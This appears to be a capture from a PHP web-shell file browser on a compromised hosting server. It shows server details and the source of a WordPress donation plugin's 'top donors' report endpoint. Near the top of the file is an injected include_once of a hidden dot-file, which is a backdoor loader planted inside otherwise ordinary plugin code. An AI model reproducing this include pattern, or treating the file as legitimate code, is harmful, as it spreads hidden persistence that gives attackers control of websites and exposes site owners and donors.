uawdijnntqw1x1x1
IP : 216.73.217.10
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
API
/
Endpoints
/
Reports
/
TopDonors.php
/
/
<?php /** * Top Donors endpoint * * @package Give */ namespace Give\API\Endpoints\Reports; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class TopDonors extends Endpoint { public function __construct() { $this->endpoint = 'top-donors'; } public function getReport( $request ) { $start = date_create( $request->get_param( 'start' ) ); $end = date_create( $request->get_param( 'end' ) ); return $this->get_data( $start, $end ); } public function get_data( $start, $end ) { $paymentObjects = $this->getPayments( $start->format( 'Y-m-d' ), $end->format( 'Y-m-d 23:i:s' ), 'date', -1 ); $donors = []; foreach ( $paymentObjects as $paymentObject ) { if ( $paymentObject->status === 'publish' || $paymentObject->status === 'give_subscription' ) { $donors[ $paymentObject->donor_id ]['type'] = 'donor'; $donors[ $paymentObject->donor_id ]['earnings'] = isset( $donors[ $paymentObject->donor_id ]['earnings'] ) ? $donors[ $paymentObject->donor_id ]['earnings'] += $paymentObject->total : $paymentObject->total; $donors[ $paymentObject->donor_id ]['total'] = give_currency_filter( give_format_amount( $donors[ $paymentObject->donor_id ]['earnings'], [ 'sanitize' => false ] ), [ 'currency_code' => $this->currency, 'decode_currency' => true, 'sanitize' => false, ] ); $donors[ $paymentObject->donor_id ]['donations'] = isset( $donors[ $paymentObject->donor_id ]['donations'] ) ? $donors[ $paymentObject->donor_id ]['donations'] += 1 : 1; $countLabel = _n( 'Donation', 'Donations', $donors[ $paymentObject->donor_id ]['donations'], 'give' ); $donors[ $paymentObject->donor_id ]['count'] = $donors[ $paymentObject->donor_id ]['donations'] . ' ' . $countLabel; $donors[ $paymentObject->donor_id ]['name'] = $paymentObject->first_name . ' ' . $paymentObject->last_name; $donors[ $paymentObject->donor_id ]['email'] = $paymentObject->email; $donors[ $paymentObject->donor_id ]['image'] = give_validate_gravatar( $paymentObject->email ) ? get_avatar_url( $paymentObject->email, 60 ) : null; $donors[ $paymentObject->donor_id ]['url'] = admin_url( 'edit.php?post_type=give_forms&page=give-donors&view=overview&id=' . absint( $paymentObject->donor_id ) ); } } $sorted = usort( $donors, function ( $a, $b ) { if ( $a['earnings'] == $b['earnings'] ) { return 0; } return ( $a['earnings'] > $b['earnings'] ) ? -1 : 1; } ); if ( $sorted === true ) { $donors = array_slice( $donors, 0, 25 ); $donors = array_values( $donors ); } return $donors; } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/API/Endpoints/Reports/TopDonors.php